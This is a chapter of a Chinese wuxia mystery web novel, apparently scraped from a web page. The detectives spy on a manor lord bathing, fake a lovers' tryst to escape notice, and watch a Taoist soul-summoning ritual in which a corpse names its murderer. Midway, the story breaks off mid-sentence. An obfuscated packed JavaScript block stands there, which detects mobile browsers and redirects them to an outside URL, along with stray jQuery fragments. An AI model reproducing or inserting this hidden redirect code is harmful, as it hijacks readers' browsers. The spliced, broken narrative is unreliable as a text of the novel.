房间外有两双眼睛,正透过窗户上的洞注视着房里的一举一动。
练武之人的肌肉结实,身材匀称,满庭芳光溜溜的身体在屏风前一闪而过,没入了澡盆中。水雾缭绕,视野算不得好。中年男人躺在澡盆中,发出畅快的低吟。
司空明月和史飘飘两人躲在房外,偷看良久。
“采花贼,你竟然有这么下流的爱好。”
“男人看男人算不得下流。不过,女人偷看男人洗澡,离下流不远了。”
“你的话我不爱听。他的手上有记号吗···”
“恩。”司空明月心不在焉。
飘飘虽然率性,但也没到对男人的裸体不脸红的地步。
“喂,你看清楚了没有。”
司空明月一脸凝重,没有回答。
她推了推他,他回头竖指在唇间示意。
只听到“啪”的一声脆响,屋里突地碎了只花瓶。
“谁?!”水漫出澡盆的声响,同时是武器出鞘的声音。
糟了,被发现了。
司空明月机敏地揽住史飘飘的腰,飞上外头的屋顶。
满庭芳披着袍子推开房门,站在屋檐下东张西望。
司空明月按着史飘飘坐在瓦片上,安静地等待危机过去。
不知从哪里又飞来一块小石子,打在瓦片上。
这一次,满庭芳将金镰刀全部拔出皮鞘,走到院子里,仰头查看屋顶。
“谁在上面?”
“有人跟我们过不去,没法躲了。”司空明月烦恼的叹气,对史飘飘道,“掌门你得委屈一下。”
“等等···你该不会要走那种俗套的剧情吧。”史飘飘紧张的盯着他。
司空明月笑得欢快,伸手打散她的头发,弄乱自己的衣服:“你若不高兴,可以打我一巴掌。”
飘飘愤恨瞪他,“你休想。”
两人从屋顶下来,满庭芳怔住,惊讶得打量:“你们···”
“我们打搅到庄主了?”司空明月揽着身边人的腰,姿态风流,放浪不羁,声音低沉含着浓浓情欲。
史飘飘很憋屈,涨红了脸,不知所措得瞧着目瞪口呆的满庭芳。
变态!俗套!她在心里不停的骂司空明月。
司空明月温柔的理了理她耳边散发,很不好意思的对满庭芳拱了拱手:“让满兄见笑了。”
满庭芳煞气微微收敛,垂下金色镰刀,两眼在史飘飘的脸上打转:“年轻人嘛···可以理解。”
“她想看日落,这儿视野好,在下就擅自闯入院子,借用了宝地,让庄主受惊了。”
司空明月风流的美名遍及江湖,众人皆知他巡案天涯,总会有几位美人跟随。
院中吹来凉风,满庭芳敛了敛袍子,和蔼笑道:“鄙人正在洗澡,失礼了。你们继续。”
“是在下莽撞,庄主大人大量。”
“司空兄太客气,咋们认识多年,这儿你完全可以当做自己的宅院,想来就来,想走就走。”满庭芳大方的说。
司空明月朗笑,“多谢满兄弟。”他对史飘飘轻声吩咐,“你先回去,我跟满兄再说两句。”
“啊?”满庭芳跨进房门的腿又退了回来。
“他的手上没有记号。”司空明月回来后,说出了自己的调查结果。
史飘飘气呼呼的坐着,柳无逸仍然在下棋。
看到他来,谁也没说话。
“你们怎么了?”
以后你我势不两立。她无声的用嘴做口型。
司空明月抱歉:“情急之下,情非得已。”
“打住!”史飘飘生怕他说出,在下会负责这样的话。
司空明月果然是个聪明人,马上会意,“在下是真心道歉。今日的事是我不对,以后绝不会再出现这样的情况。”
“亏你想出那么俗套的办法来蒙混过关。”
“只要他不揭穿,就是好办法。”
“好什么,你可别忘了你可是有···飘飘情急刹住。
“有什么?”
她还记得他在月子湖说过的话,“反正你不是男主。”
司空明月轻叹,坐在柳无逸的对面:“该有的东西都有,本人看上去亦无异样。”
沉默半日,柳无逸放下黑子:“那他没有嫌疑了?”
“这倒不一定。”
“什么意思?”
“在下还不能说。”
“你不说,会有人帮你说的。”
“正是,在下就等那阵东风。”
史飘飘听得稀里糊涂:“你们能不打哑谜吗?”
“飘飘姑娘,司空兄是那种,你越是逼他,越是得意的人。你应该装作不感兴趣的样子,他反而会主动跑来告诉你。”
“柳兄你又出卖我。”
飘飘扁扁嘴:“柳大哥你说的太晚了。”
“掌门,你不是要胜过在下成为神断吗,现在机会近在眼前,你不妨一试。”
史飘飘微嗤:“你以为就你知道?满庭芳到底是不是凶手,其实我早就知道了。”
“哦?”另外两个人意外的看向她。
飘飘以牙还牙:“不过,在下还不能说!”
头七到了,定风山庄上下忙碌着筹备招魂仪式。满庭芳从庄外找来了个道士,据说可以招死者亡魂,让死者说出死前所发生的事情。
自从凶手逃脱之后,司空明月他们再也没有找新的线索。只要满庭芳不死,凶手一定还会再出现。司空明月寸步不离地守在定风山庄。
满夫人一脸愁容,似乎几日未睡安稳,满庭芳倒是精神奕奕,热情的招待外头来的招魂道士。
那道士胖乎乎的,打着茅山旗号,穿着宽大黄袍,手执桃木剑,大摆神坛,摇铃上香,在庄上连跳了两日。
每日早晨起的比雄鸡打鸣还准时。
“这神棍靠谱吗?”
“在下看满庄主挺满意的。”
柳无逸观察道士舞剑,专注地在纸上画着什么。
史飘飘不知道一个抖着满身肥肉的道士有什么好画的,疑惑地瞅了眼柳无逸的纸,愣住了。
一排火柴人在纸上跳舞。
大大出乎她的意料,柳无逸的画功非常差劲,笔法幼稚,难以入眼。
“柳大哥···你这画的是什么?”
“这神棍跳的有几分意思,我瞧着熟悉,就画下了他的步伐。司空兄,你瞧。”他把自己画给司空明月看,“是不是有几分像峨眉派的剑法?”
司空明月还真从火柴人上瞧出了名堂:“柳兄真是火眼金睛。”
还好他不是夸画功。史飘飘替柳无逸尴尬。“茅山道士为什么会峨眉派剑法,这人是哪找来的?”
司空明月道:“这要问满庄主了。”
神坛的不远处,满夫人和满庭芳两人正经危坐,他们严格按照茅山道人的指示,坐镇风水穴,等待招魂的最佳时刻。
他们身后十九盏小铜灯围着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125573|196052||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
盏巨大的莲花灯。
莲花灯冲着日落方向,同棺材在一条线上。
棺材里,满庭玉的头颅安在竹编纸人的身体上,脸上仪容经人收拾整洁。
真正的招魂仪式将在黄昏落日十分开始。
茅山道人跳了一天,问庄里的厨子要了两只鸡腿,一坛酒,中场休息。
飘飘他们坐在棺材前,与满庄主他们隔着棺材相望。
他们几人滴水未进,眼巴巴的瞧着道人大吃大喝。
“你们几人再坚持一下,招魂过后才可以进食。”道人吃的满嘴流油,站着说话不腰疼。
史飘飘肚子咕咕响,恨不得抢了他的鸡腿,大快朵颐。
其他几人除了她都仿佛已成了仙,对凡间的五谷杂粮没有任何兴趣,各自发呆。
司空明月心不在焉地摇着扇子,柳无逸抱着剑闭目养神,满夫人今日的脸涂的格外煞白,全程帕子捂着鼻子,昏昏欲睡。满庭芳则是他们中坐的最端正的,也是最关心这场法事的人。他的一言一行皆严格按照茅山道人的要求执行,因为心情紧张,曾多次无意识的把手移到腰间的武器处。
黄昏十分终于降临,茅山道人沐浴着夕阳,抛开残羹冷炙,净手焚香,叫人点起了莲花灯。
他特意让夕阳直射铜镜,然后让反射的光线照进棺木,停在烂头颅的眉心部位。
“待会招魂成功的时候,你们切记不要太过激动,吓到满二庄主。也不要靠近碰触他,以免惊扰他的魂魄。”
桃木剑挑起张燃烧的黄符,茅山道人左旋右摇,眯着小眼睛警告众人。
敞开的院子门口,绑着红绳的公鸡呆滞地窝在竹笼里,眼睛朝着日落的方向。忽然,院中刮起阵呼呼作响的穿堂阴风,灰尘大起,紧急的啼鸣响彻定风山庄,莲花灯乘风而起。
公鸡竖起了冠羽,在笼子里活碰乱跳。
众人震惊的看到棺材里的纸人顶着个七窍流血的头颅笔直的站在棺材里。
那双烂得发绿的眼睛,直勾勾的盯着史飘飘,血水横流。
满夫人大叫,茅山道人肥胖的手一指,满庭芳连忙捂住满夫人的嘴。
“满二庄主的魂回来了,你们不要吓着他。”
司空明月从座位上站起来,严肃的望着棺材中“复活”的尸首,满庄主此次招魂的目的是找出杀害满二庄主的凶手。
他们等着满二庄主显灵,道出他的死亡真相。
“满二庄主,贫道是茅山第二十八代入室弟子,今日设下道场,请你回府,是为了替你伸冤。庄内众人都在场,你且放心,尽管告知我们是谁杀害你的。”
胖道人小心翼翼地走到棺材边上,挽剑作礼。
复活的尸首听到他的话抖了抖,好似在点头。
接着它便真的发出了声音:“我是被易难平害死的。那日他从遥城回来,听说我在晟州城置办布匹,就差人请我去酒楼相叙。盟主相约,我欣然前往。谁知他在酒中下了毒药,我吃后便一命呜呼。”
司空明月:“他为何要害你?”
“死的怨,他可没告诉我。”
尸首的嘴巴没有动,司空明月看向满庭芳,满庭芳满头冷汗,脸色极白,仿若个大病初愈之人。他默默地对司空明月颔首,确认那声音是满庭玉。
深受马克思主义无神论熏陶的史飘飘很难接受面前正在发生的超自然现象。
她狐疑地观察回魂的满庭玉,鬼使神差的问了句:“地府的孟婆汤好喝吗?”